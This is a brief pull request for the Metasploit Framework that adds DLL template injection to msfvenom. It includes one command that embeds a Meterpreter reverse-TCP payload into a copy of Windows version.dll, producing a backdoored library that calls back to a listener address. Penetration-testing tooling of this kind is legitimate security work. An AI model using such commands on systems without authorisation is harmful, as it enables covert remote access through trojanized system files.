rapid7/metasploit-framework — pull request #2739 by Meatballs1 (2013-12-08 18:18:21+00:00)
Title: Enable DLL injection in msfvenom

Using version.dll from SYSWOW64:

./msfvenom -p windows/meterpreter/reverse_tcp -x ~/version.dll -f dll -k LHOST=192.168.1.x > ~/version2.dll

These changes (or changes to this effect) went missing from https://github.com/rapid7/metasploit-framework/pull/1103